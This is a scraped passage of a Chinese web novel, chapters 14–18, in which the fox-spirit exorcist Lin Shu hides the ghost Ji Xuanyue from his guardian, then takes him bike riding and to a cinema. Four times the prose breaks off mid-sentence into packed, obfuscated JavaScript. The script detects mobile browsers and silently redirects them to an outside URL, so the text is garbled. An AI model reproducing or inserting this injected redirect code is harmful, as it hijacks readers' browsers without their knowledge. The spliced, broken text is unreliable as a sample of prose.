林疏的脸一下子就变色了：“你，你不要凭空污人清白，我有爱人好吧！虽然他不在了，但我心里的爱一直都在，别以为谁都跟你一样忘得一干二净……” 姬悬月却只是笑，埋头又吸了一口，道：“我不过开个玩笑，你怎么还急了。” 林疏：“……” 这日子没法过了！！！ 下午一点半，林疏怒气冲冲牵着姬悬月回到灵调局。 一进门，他发现路过的同事看他的眼神都不对。 怎么了？ 林疏很茫然，但走到二楼的时候，他在灵调局的楼梯上闻到了奇怪的味道—— 另一只天狐的味道。 是林主任！是林聆！林聆回来了！ 林疏瞬间后背一凉，寒毛直竖，他收紧了手腕的缚灵索， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883363|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加快速度拖着姬悬月跑进了自己办公室！ 果然，他在办公桌上看到了一个小礼盒，很显然是林聆度假回来给他带的伴手礼！ 林疏惶然地四处看了看，没看到林聆的身影，赶紧将伴手礼踹进怀中，拉着姬悬月一阵风似的早退了。 他偷偷养了个血孽厉鬼这种事，被林聆知道了他狐狸皮都要被扒下来！！！ 好在他尚有一张外勤的条子寄放在打卡处，就当他没回来过！ 姬悬月发誓，从他落到林疏手里至今，他从来没有见过林疏骑自行车能骑得这么快过。 路上的好几辆电动车都要对林疏望尘莫及。 好不容易骑回了家，林疏如临大敌一般反锁了门，这才松了口气。 把姬悬月一丢，就去冲澡。 姬悬月在外头一边换衣服一边问道：“你怎么了？遇到什么天敌了？” 林疏洗掉满头大汗，道：“没什么……你可以当做，我本来是一个家长不在家的小孩，但是……今天……我家长回来了。” 姬悬月一头雾水，没太明白他的意思。 林疏洗好了澡，披着浴巾出来了，他一边擦身上的水，一边伸手去扒拉那个揣回来的礼盒。 解开上面缠绕的丝带后，盒盖就被里面的东西拱起来了。 林聆好奇地扒开盒盖，顿时发出一声巨大的尖叫：“啊————啊————啊————” 姬悬月吓得弹起来，一边套衣服，一边疾速飘过来：“怎么了？是什么？伤到手了吗？” “是钱！”林聆泪流满面，他捧着那只盒子，看着里面厚厚的一沓钞票，“是钱！！！是我最缺的钱！！！啊啊啊啊师娘我爱你！！！！！” 姬悬月由惊慌转为好笑，不禁摇了摇头，回去继续换衣服。 一把钱就激动成这样……真是个财迷的小天师。 林疏已经开始抱着那摞钱开始找地方保存了，那么厚一沓！至少都有八千！ 呜呜呜是他四个月的工资，呜呜呜呜…… 正欢欢喜喜找地方藏钱，林疏突然顿住，他的狐狸耳朵竖了起来—— 听到了由远及近最后停到门口的脚步声。 “！！！”林疏登时钱也不管了，随便往枕头底下一塞，然后飞速冲到门口摘了葫芦，盖子一拔。 姬悬月正弯腰叠衣服，突然有种不祥预感。 他还未及回头，林疏已经开始念口诀。 短短瞬息之间，姬悬月已经被他收进了葫芦。 猝不及防就失去了自由，姬悬月一阵茫然之后怒不可遏：“小道士你想死是吧！不是说过不再用葫芦关我了吗！” 林疏一边披道袍，一边对着葫芦道：“狐说，不可信！”然后在葫芦封口加了三道封印。 姬悬月：“……”真真气死他也！！！ 而很快，门口响起钥匙转动的声音。 又因为林疏在里头反锁了，而转为敲门。 林疏一边收拾姬悬月的衣服塞进沙发后面，一边大声道：“来了！” 他把姬悬月的鞋踢到柜子底下，搓了搓手，去开了门。 15. 第 15 章 一个长相俊秀的男人提着一袋子青菜，面无表情看着林疏：“怎么上班时间你在家？还这么久才开门，小狐狸，你是不是皮痒了？” 林疏赶紧让开，把男人请进来：“师娘，我……下午出外勤，太热了刚从外面回来……刚洗完澡。” 男人看着他还在滴水的头发，便冷哼一声，放过了他。 此人正是灵调局下属部门“灵协办”的办公室主任，林聆。 也是世上除了林疏之外仅存的天狐。 林聆径自走向厨房，一把拉开冰箱—— 就看到了里面稀稀拉拉的已经辨认不出种类的发霉菜叶，和层层叠叠的垃圾食品。 “我到灵墟出差一个月，你就吃这些？”林聆扬了扬眉毛，偏过头，开始用他那双出尘绝艳媚色横生摄人魂魄的狐狸眼斜睨着林疏。 林疏赶紧道：“没有没有，我都……点外卖的。” 虽然的确已经没有点外卖的钱了，所以他现在早饭午饭都蹭食堂，晚饭不吃。 林聆叹了口气，把冰箱收拾了，又把自己买的青菜一样一样整齐地填进去。 关门的时候，他听到外头一阵奇怪的撞击声，于是探头朝门的方向看去。 林疏在葫芦异动的那一秒，就已经从犄角旮旯找出一个空饮料瓶，尴尬地做投篮状：“我在……收拾房间。” “哦。”林聆的头收回去了。 林疏松了口气，冲过去给葫芦又加了三层封印。 这下葫芦彻底老实了。 林聆收拾完厨房，又去帮小狐狸收拾乱丢一地的衣服。 展开大了林疏好几码的T恤，他开始皱眉：“最近喜欢嘻哈风吗？怎么买些这么大的衣服。” 林疏挠挠头：“最近gay子流行这么穿。” 林聆冷哼一声：“我不是gay？什么流行我不知道？” 林疏就耍赖：“那我就喜欢这种码数的，穿着很舒服的。不信师娘你试试？” 林聆摇摇头：“我没那种爱好。你做好准备，月底你师父就回来了，这期间你别捅娄子，我兜不住你。” 林疏赶紧道：“那怎么可能！我一直好好工作毫不松懈，不信您去问办公室的大姨，我可认真了。” “是很认真。”林聆嘲道，“全局上下都知道，你踩点上班，下班就跟‘莞莞’们出去约会。” 林疏顿时心惊胆战，希望那些大嘴巴别说出什么“带着厉鬼上班”这种话。 可是一边害怕林疏又觉得匪夷所思，他帮忙收容姬悬月明明是为了局里分忧…… 而且他不是应该在林聆回来之后就把姬悬月上交的吗？ 林聆又嘱咐了他好多，他都胡乱点头应了，林聆就拎着收拾出来的一堆垃圾告辞了。 林疏等他彻底走了，气味也消失了，才松了口气，颤颤巍巍去揭开葫芦口的封印。 封印才下一半，姬悬月已经怒吼着从葫芦里窜了出来。 他的实体符时间还没到，在葫芦里横冲直撞了半天，头发和衣服都乱了，使得他看起来像个疯子一般，恶狠狠地把小天师按在了地板上：“你关我那么久！你又关我！你这说话不算话的臭道士！” 林疏骤然被压制，简直无力反抗，此事他又有些理亏，只能拼命挣扎着道：“我是被迫的！我是为了救你，你也不想被我们灵协办林主任一道天雷劈得灰飞烟灭吧！！！” 姬悬月一愣，但仍然怒不可遏：“就算是如此，你也违背了你的誓言！我今天必要把你……” 林疏：“啊？啊？？？啊哈哈哈哈哈……哈哈哈哈哈哈……别挠痒痒！我怕痒！” 姬悬月将林疏按着狠狠一顿揉搓：“哪个给你挠痒痒？你给我解释清楚！不然今天我把你皮都搓下来！” 林疏一边挣扎一边笑得眼泪都流出来了，断断续续道：“他是……他他他是天狐！是我同族唯一的长辈……啊呀你别闹我……哈哈哈哈哈” 他趁着姬悬月搓到他不怕痒的地方，迅速竹筒倒豆子，噼里啪啦道：“他是我上司也是我长辈，他偶尔会来这里看我的！他鼻子特别好使你躲在床底下他都能发现你！他要是发现了你……就会一道天雷给你劈成渣渣，我只能……” 他想起自己说的谎，声音不自觉小了，嗫嚅着道：“我只能把你藏在葫芦里。” 其实我可以把你交出去的。 姬悬月停了手：“狐狸？” 林疏擦了擦眼泪：“啊？” 他泪眼朦胧，就见姬悬月突然露出个兴味盎然的笑容来：“你变个原型，你变成狐狸给我看看。” 林疏一下子捂住了胸口：“我不。” 姬悬月道：“你今天真的让我很生气！上次我们明明说好了的，你说话不算话。想让我原谅你，你就变成狐狸，让我揉一揉，我就不记仇了。” 林疏马上知道他不是在开玩笑，他的脸色瞬间变了：“我不！我……我不会变，你快松开！” “不松，”姬悬月握住他的手腕按在地板上，露出个非常有兴趣的笑容来，“你就是狐狸变的，怎么会没有原型？我又不欺负你，我就是喜欢毛茸茸。我还没有见过天狐，天狐是什么颜色的？白色的吗？” 林疏的脸色已经非常难看，他大声道：“你松手！” 说着，一道符咒已经劈了上去，将姬悬月打飞了。 姬悬月跌在鞋柜的框框上，嘶了一声，待站稳了，就见林疏头也不回地跑了。 甚至慌不择路，一头钻进了衣柜里。 姬悬月揉着后脑勺，迷茫地站在客厅的地板上。 他后知后觉，发现自己是有些过火了。 他确实……很讨厌那个葫芦，一被关进去就浑身发抖。 然后焦躁和怒气一股一股冲上来，只想摔点什么来发泄。 他也确实……很喜欢毛茸茸的小动物。 他其实在听到林疏说是为了救他之后，就已经不生气了，他只是想……摸摸软乎乎的小狐狸。 他不知道林疏对变回原形这件事，这样抵触。 林疏缩在衣柜里，把脸埋在一堆柔软的布料中。 半晌，他听见脚步声走到离自己不近不远的地方，姬悬月轻声道：“对不起，林疏，我不知道你对变回原型这么抵触，是我太过分了。对不起，你能原谅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883364|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吗？” 林疏静了很久，终于想开口说点什么。 姬悬月却已经转身走了。 林疏将头更深地埋进衣服里。 他知道自己这个样子很讨厌。 …… 过了很久很久，久到屋内的空气都冷透了，姬悬月的心已经沉落谷底。 林疏突然出来了，他像没事人一样，从衣柜里钻出来。 虽然眼圈和鼻头有些红，但表情还算正常。 姬悬月马上起身，想道歉。 可是看着林疏丝毫不生气的样子，他又开不了口。 屋子里的温度仿佛已经降到了冰点。 林疏揉揉乱七八糟的头发，起身去收拾刚才自己一道符打出的一片狼藉。 走过去却发现葫芦已经好好挂在门上了，鞋柜上掉落的乱七八糟也都被姬悬月收拾起来放回了原位。 就连他踢到鞋柜底下的几双运动鞋，也好好摆在门垫上。 他只好又去衣柜里，把被自己拱乱的衣服一件件叠好。 然后就发现林聆把他和姬悬月的衣服叠在一起了，他刚才紧紧搂着的那件衣服，就是姬悬月今天穿过的上衣。 上面还留着一点林疏的鼻涕。 林疏：“……”他把那件衣服拿进卫生间，丢进了洗衣机。 姬悬月在他身后道：“那是我的衣服？我，我可以自己洗。” “不用，”林疏道，“有洗衣机，不用你洗。” 两人之间的气氛有些尴尬。 林疏不知道怎么处理这样的事，索性当个缩头乌龟。 在洗衣机吱呀吱呀转完之后，他把衣服晾好，就换了身衣服出门去了。 他没有带姬悬月。 姬悬月就坐在沙发上，低着头看自己衣摆的花纹。 他的心再次一点点往下沉，沉到了他自己都无法接受的冰冷深渊。 突然门锁响了，林疏进门换鞋。 姬悬月没有抬头，但很快林疏的脚步朝他走来。 他一抬头，看见林疏把一个雪白的狐狸玩偶递给他。 “这个给你……”林疏揉了揉鼻子，“我脾气不好，原型也很丑，我不喜欢自己的样子，所以才……” 姬悬月愣愣地看着那只雪白的小狐狸。 林疏的声音越来越小：“但是……我不该对你发脾气，我不是故意的，你可不可以不要生我的气？” 他越说越觉得难堪，索性直接把狐狸塞进姬悬月的手中：“你喜欢白色的毛茸茸，这个狐狸比我好看，送给你！” 说完就跑了。 姬悬月看着小狐狸转头跑开，他又捏了捏手中软软的毛绒狐狸。 良久，突然微微展出个笑容来。 林疏怎么这么可爱啊。 在林疏看不到的角落里，姬悬月把毛绒狐狸凑到脸上轻轻吸了吸。 这毛绒狐狸没有林疏身上的味道。 姬悬月突然觉得，他也并不是多喜欢什么毛茸茸，他此刻更想把林疏抱在怀里揉一揉，然后吸他身上的甜香。 那一瞬间，姬悬月突然所有的动作都停住了。 16. 第 16 章 他突然明白，他为什么对穆绍棠没有任何的感觉，也对容貌相似的穆迎秋能够不假辞色。 是因为从一片混沌里再次恢复神智后， 他眼睛里满满的装得都是这个跳脱又心软的小狐狸。 可姬悬月也清楚地知道，林疏对他的“在意”，其实都是很纯洁的。 是责任，是朋友，是由于多种客观原因。 想知道他喜欢谁，不是因为林疏喜欢他，是因为林疏要去他执念、渡他往生。 把他关在葫芦里保护他，也不是因为林疏喜欢他，是因为林疏善良，不想看着他被一道天雷劈得没有了来世。 林疏甚至还劝他跟穆迎秋谈个恋爱……这足以证明，林疏对他其实半点绮思也没有，不仅如此，林疏恐怕还希望他能尽快看破爱恨，大彻大悟。 姬悬月笑着，又摇了摇头。 他其实一直知道自己早就不爱穆绍棠了，他也不知道自己为什么会滞留人世间。 如果林疏希望他能尽快放下执念投胎转世，那么他愿意遂了林疏的心愿。 如果他的往生能让小狐狸露出欣慰的笑容，他可以放下这些情思。 不知所起的情思。 于是第二天，林疏休假，就发现姬悬月又恢复了他四处找茬的模样。 一大早还没到八点，姬悬月已经扯着耳朵在林疏耳边大声叫他起床。 林疏：“啊啊啊啊啊有没有搞错啊今天周六！！！我不上班！！！” 姬悬月一愣：“啊？周六是什么？” 于是林疏只好一边打哈欠一边给姬悬月科普，一周七天但他的工作是上五休二，周六周日都是放假的。 姬悬月认真记下，又去扒拉林疏：“那放假的时候你就不早起了？” 林疏点头：“放假可以在家里睡觉……” 姬悬月看着林疏抱着枕头继续在床上翻滚。 然而林疏其实不缺觉，昨晚他好像是哭得累了，睡得也很早。 就算狐狸本体觉多，晚上八点多睡到早上七点也不算少了， 所以林疏翻滚了一会儿，不情不愿地起来了。 然后他就看见昨晚他一时冲动买的毛绒狐狸就搁在枕头边，在他和姬悬月的中间。 “……”一瞬间昨晚的社死现场涌入林疏的大脑，他顿时羞愤欲死，冲去洗手间洗脸刷牙。 姬悬月看得好笑，然后，林疏枕边的手机开始一阵一阵嗡嗡起来。 姬悬月赶紧拿起手机追到卫生间门口：“你的赛博墓碑在震动！” “……”林疏瞪大眼睛，“你管这叫……” 他猛地想起那天出租车上自己的胡言乱语，瞬间熄火了：“好，我的赛博墓碑，拿来给我。” 擦干净牙膏沫，他按下接听：“喂，啊？” ……是穆迎秋的电话。 他约林疏和姬悬月出去骑行。 林疏：“？？？” 他转身无声询问姬悬月：“要去吗？” 姬悬月本来想说不想去，突然想起昨晚的决定，他便点了点头。 如果跟穆迎秋短暂相处一番，可以让他想起往事，成功往生，他不介意去虚与委蛇。 林疏并不知道他心里的弯弯绕，只感叹着穆迎秋终究是长了一张近水楼台的好皮囊，便回答道：“他说可以，你约几点？”等等。 林疏赶紧又捂住手机去问姬悬月：“你会骑自行车吗？” 姬悬月摇头：“不会。” 林疏：“？？？” 电话那头已经传来穆迎秋疑惑的声音：“喂？小疏，你在吗？” 林疏赶紧道：“啊在在在，那个，我是没问题，不过穆羽他可能不太会骑。” 穆迎秋笑了，道：“没关系，我可以教他。那我们一小时后外环南浦村见？我会带好单车和设备，你们人来就好了。” 林疏挂断了电话，发了一会儿呆，突然道：“你怎么突然又答应他的约会？” 姬悬月道：“我想知道，如果跟他相处一下，我会不会想起往事，若想起来，说不定就能放下执念去往生了。” 林疏：“……”你当然不能，血孽哪是那么好往生的？ 但林疏不能说，他还不太想告诉姬悬月他血孽厉鬼的身份。 短暂收拾了一下，林疏带着姬悬月去赴约了。 他财大气粗地打了车，到了外环后，远远就看见穆迎秋在那辆黑车旁边，正在收拾三辆非常漂亮的山地车。 比林疏的四手飞鸽要漂亮好多好多，只是不能带人。 姬悬月对着穆迎秋点了下头，算是打过招呼。 而穆迎秋对林疏哈哈一笑：“周末的早上把你喊起来，真不好意思。” “没关系，”林疏只得道，“本来也醒了。”说着他隐晦地瞪了姬悬月一眼。 穆迎秋知道姬悬月不会骑车，着重给他讲解了一下注意事项，然后道：“那边有一片很大的平地，阿羽可以跟我去学习一下。” 林疏有意给他们制造空间，便拿出手机道：“市区难得见到这么美的蓝天，我去拍照，你们学好了告诉我。” 穆迎秋笑着挤挤眼睛，就带着姬悬月走了。 林疏蹲在马路边上，估摸着五米距离已经差不多，赶紧掏出一张“一叶障目符”拍在了胸口。 这张符能让人的注意力无法集中在他身上，就算看见了，潜意识也会当做没看见。 他贴着符，跟着姬悬月和穆迎秋去的那片空地走去。 而在那片平地上，穆迎秋先是讲了一下单车的原理和学习的要领，然后让姬悬月骑上去自己试一下。 姬悬月活着的时候，国内其实已经有自行车了，但他确实没有学过。 骑上车子歪歪扭扭向前骑，他总是掌握不好平衡。 穆迎秋一开始还在旁边扶着他的大臂，因为山地车没有后座。 而姬悬月骑着骑着速度快了起来，穆迎秋跟不上，就松手了。 林疏跟在车后面跑，又怕拽倒了姬悬月，又怕跑步声被人发现，很快就出了一身热汗。 最后他没办法，只能偷偷摸摸解开缚灵索任由姬悬月四处乱跑。 但姬悬月其实还不会，所以只往前骑了一小段，就歪着身子要倒。 幸好他腿长，直接就支住了。 穆迎秋追上来，笑着说：“你别急，这样，我等下扶着你，你慢慢向前骑。” 姬悬月应了一声，重新蹬起来。 直到穆迎秋的手带着滚烫的温度，骤然贴在他肩胛骨上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883365|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姬悬月一怔，眉毛瞬间皱紧了。 而那双手顺着他的脊背，似乎还要向下滑。 姬悬月嘴唇一抿，就握紧了车把一转，两腿一蹬。 车子向左疾速旋转着让了出去，而他人已经从车上翻身下来，闪开了穆迎秋的手。 那一瞬间，山地车的前轮在穆迎秋身前翘起老高，穆迎秋甚至差点以为姬悬月要抡着他把自己打飞出去。 他马上举起双手后退：“抱歉，我只是……” 姬悬月并没有抡他，而是已经停好了车子，蹙眉冷冷道：“我不喜欢别人碰我后背。” 穆迎秋赶紧道：“我的错，山地车没有后座，我没有别的地方可以扶。” 姬悬月道：“你不是故意的，没关系。” 穆迎秋松了口气，刚才那一瞬间，姬悬月的眼神真的很可怕。 如果不是多年修养让他克制住了本能，他恐怕会下意识转头就跑。 但他也突然有了一个隐约的怀疑。 他追上转身去推山地车的姬悬月，低声问了个问题。 姬悬月没听懂，下意识道：“什么？” 穆迎秋叹口气，四处看了看，没看到有人，便用正常音量道：“我问的是，你是1还是0？” 他们附近的林疏：“……” 为什么每次穆迎秋都会问出一些他事先根本无法预料到的问题啊！！！ 姬悬月知道这是自己的知识盲区，他不敢随便乱答。 而穆迎秋很快也放弃了，他似乎发现了，这个穆羽恐怕是直男。 他马上道：“是我问错了，你其实不知道1和0是什么意思，对吗？” 见有人主动背锅，姬悬月自然欣然道：“是的，不太了解。” 穆迎秋吁了口气，觉得自己真是任重道远…… 但是这样美丽的男人，他把不到手又实在是意难平。 他在国内外多年，都没见过这样的美人，简直是他的天菜。 姬悬月又继续研究骑车了。 刚才那一下他似乎找到了关窍，很快就在没有穆迎秋帮助的情况下，成功骑着车四处乱走，并顺利转弯。 林疏见他学会了，赶紧往回走，走回路边他原本蹲着的地方，并将符摘下来揉一揉塞进了口袋，装作自己从没离开过的样子。 穆迎秋很快就和姬悬月一起过来了，并夸赞道：“穆羽真是天资聪慧，我没怎么教，他就学会了。” 林疏起身，一边背着手偷偷往手腕上缠缚灵索，一边尴尬道：“啊，是吗，是啊，穆羽向来很聪明……” 并擦了擦冷汗……幸好姬悬月没有察觉。 接下来就是一番尴尬的三人骑行。 穆迎秋准备好的谈笑风生全被那一轮子吓回了肚子里。 而姬悬月是真的很享受骑行，他甚至在一圈之后无师自通了双手松把，将手臂张开，享受风从耳边吹过的、飞一般的快|感。 林疏骑在姬悬月身后，与他保持着一个不近不远的距离——缚灵索的距离。 瞧着姬悬月的背影，林疏不时会回想起穆迎秋那个问题，他其实也有点好奇，姬悬月到底是1是0？ 如果穆绍棠长得和穆迎秋是同一种类型，那么林疏几乎可以确定他们都是1。 17. 第 17 章 穆迎秋身上有一种非常傲的“唯我独尊”感，他的模样不符合圈子里普遍的纯1或纯0长相，虽然带着书卷气，但举手投足间攻击性很强。 可是姬悬月……看着也实在不像能做0的样子。 他的美带着一种刀刃一样的锋利感，虽然举止温文尔雅，偶尔也像个小孩， 但内里却像是包着一团炽烈的火，能把他身边所有的一切都燃烧殆尽。 而且他甚至比穆迎秋还高一个头。 不过这样想来……林疏心中也隐约有疑问。 这样的姬悬月，真的会让满脸攻气的穆迎秋心驰神往吗？ 穆迎秋的心中，真的没有别的目的吗？ 毕竟，穆迎秋拿走了那个烛台。 疑似凶器的，将姬悬月杀死的那个烛台。 一直任由姬悬月与穆迎秋交往，林疏其实也抱着这个心思，他想看出来穆迎秋身上的破绽。 一个人若有所图，那么就将他所图之物放在他眼前，只看他取不取，就知道了。 只可惜到现在为止，林疏只看出穆迎秋很馋姬悬月身子。 其他的一点没看出来。 至于姬悬月的型号，林疏决定不猜，回去科普的时候直接问他。 骑行结束后，穆迎秋甚至礼貌地开车送了他们一程。 到大学城附近后，他停了车，三人互相道别，林疏就跟姬悬月一起踏上了回家的路。 路上人不多，姬悬月瞧着周围没人，就虚心请教道：“小狐狸，1和0是什么？” 林疏猝不及防被问，一时间还没有准备好措辞，只能支支吾吾，现编现说：“就是男男之间‘那个’的体位嘛。就是，在上面的是1，在下面的是0。” 姬悬月：“‘那个’是哪个？” 林疏道：“就是洞房啊，你跟穆绍棠……哦你们没有洞过房。” 姬悬月：“……” 林疏想了想道：“你当时和穆绍棠通信恋爱时候的细节你还记得吗？” 姬悬月摇摇头：“不记得。” 林疏道：“那你有没有意淫……呃，就是，想象过你跟穆绍棠的洞房，你是在那里的哪个？” 姬悬月诚实道：“我没想过，至少我不记得了。” 林疏：“……” 姬悬月突然问道：“你是1还是0？” “我是……”林疏差点脱口而出，赶紧道，“你问我干什么！我们之间清清白白，这种暧昧的问题就不要问了。” “哦。”姬悬月点点头，心里想，清清白白…… 哪里清清白白了？晚上睡同一张床的关系，哪里清白了。 姬悬月不完全懂性，他觉得睡同一张床其实就已经不很清白了。 只是他们一狐一鬼，有种族隔阂，彼此也没有心悦之情，勉强……算得上清白。 林疏还在苦口婆心地科普：“我尽量说得不那么直白吧，就是你是个男的，对方也是个男的，但总要有个人去做承受的一方，这个你明白吗？” 姬悬月摇头：“不明白。” 林疏：“啊啊啊啊啊我要疯了……你那个东西你总知道吧！你的几儿！你男人身份的证明！” 姬悬月点头：“这个我知道。” 林疏道：“男女圆房的时候你是不是要用……啊啊啊我为什么要在大街上说这个……你该不会连男女怎么那个都不会吧！” 姬悬月摇头：“这个确实不知道。” 林疏：“……算了我们回家再说。” 到家之后，林疏掏出自己的笔记本电脑，点开无数遮遮掩掩的文件夹，取出了自己的启蒙库存。 他很怀疑自己为什么要跟姬悬月一起看这种东西，他打定主意，只做教学，然后就关掉！立即关掉！ 姬悬月对着视频，听着林疏的讲解，总算明白过来。 他盯着视频里的两个人看了一会儿，斩钉截铁道：“我是1。” 林疏：“……请你不要因为觉得这个0的表情很痛苦就把自己定成1好吗？” 姬悬月就抬头，用美得犯规的眼睛，弯出了一汪春水，并以蛊惑的语气道：“我是1。” 林疏简直无法招架，只得道：“好好好，你是1。” 他迅速关了视频，然后发现了不对：“不对啊，你是鬼啊，你又没有反应，你做的什么1？？？” 姬悬月理直气壮道：“谁说我没有反应？我是对这个画片没有反应。谁会对自己不喜欢的人起反应？” 林疏狐疑，但又不方便查证，只得先搁置不提。 反正是1是0还是2，都对姬悬月没有什么影响。 他只是个鬼，又不能跟人do。 但骑行的那一天发生的事，可能终归是——对穆迎秋有些影响。 林疏在家摆烂了两天，直到假期结束，他和姬悬月都没有再收到任何邀约。 穆迎秋大概是对身为猛1的姬悬月失去了兴趣。 或许，他真的对姬悬月没有什么别的阴谋。 只是单纯馋姬悬月身子。 林疏叹口气，觉得穆迎秋也挺倒霉的。 满腔热情被人利用和试探，天菜摆在眼前，结果型号不合。 就算这烛台之事背后真有阴谋……总之林疏自己觉得他很对不起这位大兄弟。 姬悬月也应该为那天反应过激道个歉。 这样想，他便这么说了。 姬悬月：“你又知道我反应过激？” “……”林疏悻悻道：“我看见了嘛。” 姬悬月白眼一翻：“我不道歉，我又没做错事，我还没打他呢，谁叫他摸我后背。” “你的背有多金贵？”林疏拿眼睛瞥他，“碰都不能碰一下，碰了还要打人，你这样跟谁能谈恋爱喔。” 姬悬月：“又不是老子求着他谈恋爱。” 林疏：“……你说的都对。” 姬悬月不依不饶：“道歉也是他道歉，他凭什么不经我同意就把手放我身上。” 林疏只得道：“那我也把手放在你大腿上过……” 姬悬月道：“你怎么能一样？” 林疏一愣：“哎？” 姬悬月很快道：“小爷的命攥在你手里，你想怎么样，我能怎么办？” 林疏：“啊，哦，你的意思是……我可以随便对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883366|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你做什么？” 姬悬月斜睨着他：“你可以试试。” 林疏坏笑着上前去扑姬悬月，扑进他怀里在他腰上一顿乱摸。 换回新娘装的姬悬月，身子依旧清凉无汗，温度适宜。 林疏摸了一把又一把，只觉得那腹肌非常令人爱不释手。 “摸完了？”姬悬月问道。 林疏有些不好意思，感觉自己像个撒娇的小孩，就从他身上起来了。 姬悬月嗤笑一声。 林疏突然又觉得不对。 他想起自己把姬悬月带回来的第一天晚上，他因为抱着姬悬月摸来摸去而……那个了，姬悬月明明一副很懂的样子。 他马上扭头去看姬悬月，却见姬悬月满脸无辜：“看我作甚？” 林疏咬牙切齿：“你最好不要让我知道你在什么地方骗过我！” 否则我就把你鲨了！！！ 周日的傍晚，讨好型人格林疏终究还是打开微信，给穆迎秋发去了一条微信： “穆羽回来之后说非常抱歉，他的脾气并不是对你。你们怎么了？你都不找他了。” 他装傻，因为他的人设是一直在路边等着，什么都没有看到。 果然，过了会儿穆迎秋就回过来一条：“没事，是我不小心碰到他。这两天我有些生意上的事在忙，你帮我问问阿羽，周三那天有没有空？上次咖啡厅里我说想看的那个电影上映了。” 林疏去问姬悬月，姬悬月一脸的便秘。 他实在是不知道跟穆迎秋相处能在哪里帮他“放下执念”，“立地往生”，他甚至对那张脸都有些脸盲了，他烦穆迎秋了。 林疏忽道：“对啊，你没有看过电影，你也不会看电影。这样吧，我们提前一天去电影院，我把流程都教你，然后你就不用怕了。” 姬悬月本想拒绝，听了他这么说，却鬼使神差答应了。 于是林疏回了穆迎秋，答应下来。 又是一周工作日。 林聆已经回到灵调局，林疏便不敢再把姬悬月拴在手腕上去上班，姬悬月又排斥那个葫芦—— 只排斥葫芦，却不怕其他的容器，比如玻璃水杯。 ……林疏大概明白了，姬悬月应该是怕黑漆漆的地方，如果把他关在透明的能看见外部的容器里，他的反应就不会那么大。 于是林疏开始抱着一只贴了符的玻璃水杯去上班。 水杯挂在车把上丁零当啷，姬悬月被摇晃得头昏脑涨，但为了小命，也只能忍耐。 周一很快结束。周二的晚上，林疏带着姬悬月来到了大学城电影院。 周二看电影的人本来应该不多，但正赶上那部电影的首映日，电影院里坐满了情侣。 林疏买票的时候完全忘记了这件事，所以他和姬悬月两个大男人，就挤在一群情侣中间。 姬悬月已经学会了坐电梯，取票，检票，和根据阿拉伯数字判断展厅。 接下来林疏要小声教他一些观影礼仪。 “进入这里之后，就不能再用赛博墓碑了，”林疏给他演示如何将手机静音，“而且也不能用赛博墓碑拍照，这是基本的礼仪。” 18. 第 18 章 姬悬月点点头，虽然他并没有赛博墓碑。 林疏指着大屏幕：“我们今天看的是一部动画片，电影时长有些长。你记得去之前要上个厕所……你什么眼神！我知道你不用上厕所，但是正常人……” 见周围的小情侣好奇地看了过来，林疏又赶紧压低了声音，“正常人两三个小时是肯定要上一次厕所的。中途其实也可以去，但是要弯腰，你太高了，会挡到后面人的视线。” 姬悬月道：“记住了，看前去一次，看后去一次。” 林疏道：“还有就是在影院里不能说话。现在可以说，因为电影还没开始，开始之后就要认真看了，不能发出声音打扰别人。” 姬悬月道：“好的，明白了。” 很快，片头结束，正片开始，林疏和姬悬月都闭上了嘴。 动画电影讲述了一个非常宏大的背景下，一个战乱将起的年代发生的种种故事。 片中还出现了很多著名的诗人，随口念诵的，都是朗朗上口的诗篇。 姬悬月看得有些入神，林疏也被剧情吸引了，剧情进入高潮时，影厅里除了被震撼的惊呼，甚至传出很细小的抽泣声。 两个多小时，全程无尿点，快结尾时林疏才从剧情里走出来，他忍得呼吸都有些疼痛。 但偏过头去看姬悬月，他就发现姬悬月紧紧抿着嘴唇，目光落在前面的一对小情侣身上。 林疏顺着他的眼神看过去，发现那是一男一女，正在亲嘴儿。 